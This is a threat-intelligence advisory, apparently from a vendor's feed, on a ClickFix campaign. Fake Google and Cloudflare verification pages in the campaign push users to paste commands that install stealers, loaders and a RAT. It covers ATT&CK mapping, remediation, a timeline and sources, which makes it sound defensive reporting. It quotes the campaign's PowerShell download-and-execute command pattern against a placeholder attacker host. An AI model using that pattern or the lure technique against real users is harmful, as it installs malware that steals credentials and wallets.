Fake Google/Cloudflare Verification Pages Spread Multiple Malware Families via ClickFix (HijackLoader, StealC, Remus Stealer, Amatera Stealer, CastleLoader, NetSupport RAT, ResiLoader)
Fake Google/Cloudflare Verification Pages Spread Multiple (TL-2026-1077), also tracked as ClickFix Fake Verification Campaign, is a critical-severity malware campaign, first published 2026-07-02. It has no confirmed attribution, affects Microsoft Windows (all supported client/server versions), maps to 34 MITRE ATT&CK techniques (T1005, T1036.005, T1041), and is covered by 9 detection rules and 45 indicators of compromise.
Key facts for TL-2026-1077
- Threat ID
- TL-2026-1077
- Also known as
- ClickFix Fake Verification Campaign, ResiLoader Campaign
- Severity
- CRITICAL
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-07-02
- Last reviewed
- 2026-07-02
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- education, technology, generalconsumer, smallbusiness
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 45
Malware and tooling in Fake Google/Cloudflare Verification Pages Spread Multiple
Malware and tooling: Amatera Stealer, CASTLELOADER, Deno Loader, HijackLoader, NetSupport RAT, Remus Stealer, ResiLoader, Stealc, OPSWAT AppRemover driver
An active ClickFix-style social engineering campaign uses fake Google and Cloudflare verification pages with countdown timers and visitor counters to pressure victims into copy-pasting malicious PowerShell (Windows) and curl/zsh (macOS) commands, distributing a wide range of loaders and infostealers including a previously undocumented .NET NativeAOT loader (ResiLoader) that terminates 140+ EDR/AV processes and bypasses UAC via the ICMLuaUtil COM interface.
How Fake Google/Cloudflare Verification Pages Spread Multiple works
Malwarebytes Threat Intelligence identified an active, professionally operated ClickFix campaign that impersonates Google and Cloudflare human-verification / bot-check pages. Victims land on these pages via repurchased expired domains, Cloudflare Pages (.pages.dev) subdomains, compromised legitimate websites, and fake utility sites (QR code generators, file-access tools). The pages use urgency mechanics — countdown timers and fake visitor counters — to pressure the visitor into copying a clipboard-injected command and pasting it into the Windows Run dialog or PowerShell, or (for macOS visitors) a Terminal/zsh command using curl.
The canonical Windows command pattern is `powershell -c "iex(irm 'http://{IP}:{Port}/{Path}' -UseBasicParsing)"`, which downloads and executes a remote script in-memory (fileless first stage). The dropped script stages a working directory at `C:\ProgramData\Zooms` and retrieves second-stage payloads either from direct attacker IP infrastructure or from abused Cloudflare R2 object-storage buckets, several of which serve an HTML response containing the string "hehe" as an operator fingerprint/easter egg.
The campaign fans out into at least ten distinct malware families depending on the lure/affiliate branch: HijackLoader, StealC infostealer, Remus Stealer, Amatera Stealer, CastleLoader, NetSupport RAT, a Rust-based stealer, a previously undocumented .NET NativeAOT loader dubbed ResiLoader, a Deno-based loader, and a pure PowerShell stealer. ResiLoader is the most technically notable component: it decrypts embedded payloads (including a vulnerable/abusable driver, pcdhost.sys, and a StealC payload), abuses the OPSWAT AppRemover driver (a legitimate security-vendor uninstall utility) to forcibly terminate 140+ EDR and antivirus processes (a Bring-Your-Own-Vulnerable-Driver / EDR-killer technique), bypasses User Account Control via the ICMLuaUtil COM interface elevation-of-privilege trick, establishes persistence under a `C:\ProgramData\Google Update` masquerade path, and executes via process hollowing of the legitimate `ServiceModelReg.exe` binary. Related loaders in the family observed in adjacent 2025-2026 ClickFix waves (CastleLoader, EVALUSION/Amatera+NetSupport) show the same broad pattern: PureCrypter-packed stealer DLLs reflectively injected into legitimate processes (MSBuild.exe, svchost.exe), followed by credential/wallet/session-token harvesting and RC4- or similar-encrypted C2 exfiltration.
Infrastructure observed includes distribution/C2 domains, direct payload-hosting IPs concentrated on the Dedik Services Limited ASN, and multiple Cloudflare R2 storage buckets used as payload CDNs — an increasingly common technique to blend malicious downloads into trusted-cloud traffic and evade domain-reputation blocking. No specific threat actor or nation-state attribution has been published; the operation shows hallmarks of a commodity malware-as-a-service / traffic-distribution-system (TDS) affiliate operation given the breadth of unrelated malware families riding the same delivery infrastructure, consistent with the broader 2025-2026 ClickFix ecosystem (EVALUSION/Amatera+NetSupport, CastleLoader/BackgroundFix, SmartApeSG) that shares the same social-engineering primitive across multiple independent operators.
MITRE ATT&CK techniques used in TL-2026-1077
Collection
T1005 Data from Local System; T1113 Screen Capture; T1560 Archive Collected Data
Defense Evasion
T1036.005 Match Legitimate Resource Name or Location; T1055.012 Process Hollowing; T1070 Indicator Removal; T1140 Deobfuscate/Decode Files or Information; T1211 Exploitation for Stealth; T1218 System Binary Proxy Execution; T1620 Reflective Code Loading
Exfiltration
T1041 Exfiltration Over C2 Channel
Privilege Escalation
T1055 Process Injection; T1548.002 Bypass User Account Control
Discovery
T1057 Process Discovery; T1082 System Information Discovery; T1518.001 Security Software Discovery
Execution
T1059.001 PowerShell; T1059.004 Unix Shell; T1106 Native API; T1204.004 Malicious Copy and Paste
Command and Control
T1071.001 Web Protocols; T1102 Web Service; T1105 Ingress Tool Transfer; T1573.001 Symmetric Cryptography
Initial Access
T1189 Drive-by Compromise; T1566 Phishing
Persistence
T1543 Create or Modify System Process; T1547.001 Registry Run Keys / Startup Folder
Credential Access
T1552.001 Credentials In Files; T1555.003 Credentials from Web Browsers
Resource Development
T1583.001 Domains; T1584.006 Web Services; T1588.001 Malware
defense-impairment
Affected products and versions in Fake Google/Cloudflare Verification Pages Spread Multiple
- Microsoft — Windows (all supported client/server versions)
Vulnerable versions: Windows 10; Windows 11; Windows Server - Apple — macOS
Vulnerable versions: macOS (curl/zsh terminal targets) - Cloudflare — R2 Object Storage / Cloudflare Pages
Vulnerable versions: Abused as payload-hosting/distribution infrastructure
Remediation for Fake Google/Cloudflare Verification Pages Spread Multiple
Immediate actions
- Block IOC domains and IPs listed in threat_iocs at web proxy/DNS and perimeter firewall
- Block or alert on the identified Cloudflare R2 bucket subdomains (pub-*.r2.dev) associated with this campaign
- Deploy browser-level clipboard-hijack / fake-CAPTCHA detection (e.g. Malwarebytes Browser Guard or equivalent) across the fleet
- Search EDR telemetry for OPSWAT AppRemover driver load events outside of legitimate OPSWAT/OESIS deployments
- Hunt for process creation of ServiceModelReg.exe with anomalous child processes or memory regions (process hollowing indicator)
- Hunt for folders C:\ProgramData\Zooms and C:\ProgramData\Google Update that were not created by legitimate Zoom or Google Update installers
Workarounds
- Educate users to never paste content copied from a webpage into the Run dialog, PowerShell, or Terminal in response to a 'verification' prompt
- Restrict local admin rights to reduce impact of UAC-bypass and driver-load techniques
Longer-term hardening
- Deploy Group Policy / AppLocker / WDAC constrained-language-mode controls to restrict PowerShell -Command / IEX usage for standard users
- Disable or restrict the Windows Run dialog paste-and-execute pattern via endpoint DLP/clipboard monitoring for PowerShell targets
- User security-awareness training specifically covering ClickFix / fake-CAPTCHA copy-paste social engineering
- Implement network egress filtering that flags PowerShell/curl processes making direct outbound connections to non-standard ports
- Monitor and restrict driver-load events from third-party removal/uninstall utilities (BYOVD hardening, Microsoft vulnerable driver blocklist)
Weaknesses (CWE) in Fake Google/Cloudflare Verification Pages Spread Multiple
CWE-1021, CWE-494, CWE-506
Timeline of Fake Google/Cloudflare Verification Pages Spread Multiple
- Amatera Stealer (evolution of ACR/AcridRain Stealer) first observed in the wild, later paired with NetSupport RAT in the EVALUSION ClickFix campaign
- CastleLoader tracked distributing HijackLoader, RedLine, StealC, SectopRAT, NetSupport RAT and DeerStealer via fake GitHub repos and ClickFix phishing; 469 devices reported infected
- Huntress documents 'BackgroundFix' ClickFix variant using a fake background-removal service to deliver CastleLoader and NetSupport RAT
- SmartApeSG ClickFix campaign observed delivering Remcos, NetSupport RAT, StealC and Sectop RAT via fake verification lures
- EVALUSION ClickFix campaign publicly reported delivering Amatera Stealer (AMSI patching in memory) followed by NetSupport RAT via Windows Run-dialog reCAPTCHA lures
- Malwarebytes reports 700+ education and technology websites compromised via CVE-2026-26980 Ghost CMS SQL injection, injecting a second-stage ClickFix fake Cloudflare/CAPTCHA dialog
- Seven distribution domains, multiple Cloudflare R2 payload buckets, four+ payload-hosting IPs on the Dedik Services Limited ASN, and three sample hashes published as actionable IOCs
- ResiLoader documented for the first time: decrypts pcdhost.sys driver + StealC payload, abuses OPSWAT AppRemover driver to kill 140+ EDR/AV processes, bypasses UAC via ICMLuaUtil, persists under C:\ProgramData\Google Update, executes via process hollowing of ServiceModelReg.exe
- Malwarebytes Threat Intelligence publishes analysis of fake Google/Cloudflare verification page campaign distributing HijackLoader, StealC, Remus Stealer, Amatera Stealer, CastleLoader, NetSupport RAT, a Rust-based stealer, the previously undocumented ResiLoader (.NET NativeAOT), Deno Loader, and a PowerShell stealer
Sources cited for Fake Google/Cloudflare Verification Pages Spread Multiple
- Fake Google and Cloudflare verification pages spread multiple malware families
- How ClickFix Opens the Door to Stealthy StealC Information Stealer
- ClickFix to StealC: Fileless CAPTCHA Stealer Chain
- Deconstructing the ClickFix Infection Chain Part 2 – Loader Obfuscation and Stealth Persistence
- CastleLoader Malware Infects 469 Devices Using Fake GitHub Repos and ClickFix Phishing
- New EVALUSION ClickFix Campaign Delivers Amatera Stealer and NetSupport RAT
- Amatera Stealer, NetSupport RAT spread in ClickFix campaign
- ClickFix Removes Your Background but Leaves the Malware
- Amatera Stealer Campaign Uses ClickFix to Deploy Malware, Bypassing EDR by Patching AMSI in Memory
- SmartApeSG ClickFix Campaign Delivers Remcos, NetSupport RAT, StealC and Sectop RAT
- 700+ education and tech websites hijacked in huge ClickFix malware campaign
- Detecting and Stopping ClickFix Attacks Before They Reach Your Endpoints
Threats related to Fake Google/Cloudflare Verification Pages Spread Multiple
- Operation Turb00: Multi-Stage HijackLoader (IDAT Loader) Campaign Delivers Vidar v2.1 Infostealer and SnappyClient RAT via PNG-IDAT Steganography
- SnappyClient RAT — C++ C2 Implant Delivered via HijackLoader (Operation Turb00 Part 3)
- Latrodectus Phishing Campaign Delivering LummaStealer via 302-Redirect Domain Infrastructure (lufyfeo[.]org, 36-domain cluster)
- JavaScript-Driven PureLogs Infostealer Variant Delivered via Purchase-Order Phishing with Process Hollowing into MsBuild.exe
- FakeGit Campaign Uses 7,600 GitHub Repositories with AgentBaiting to Spread SmartLoader & StealC Malware
- Remcos RAT: Technical Analysis of Windows Remote Access Trojan Operations
Detection coverage for TL-2026-1077
As of 2026-07-02, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1077 across Splunk SPL, Microsoft KQL and Sigma, covering 45 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.
Community OSINT corroboration for TL-2026-1077
3 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.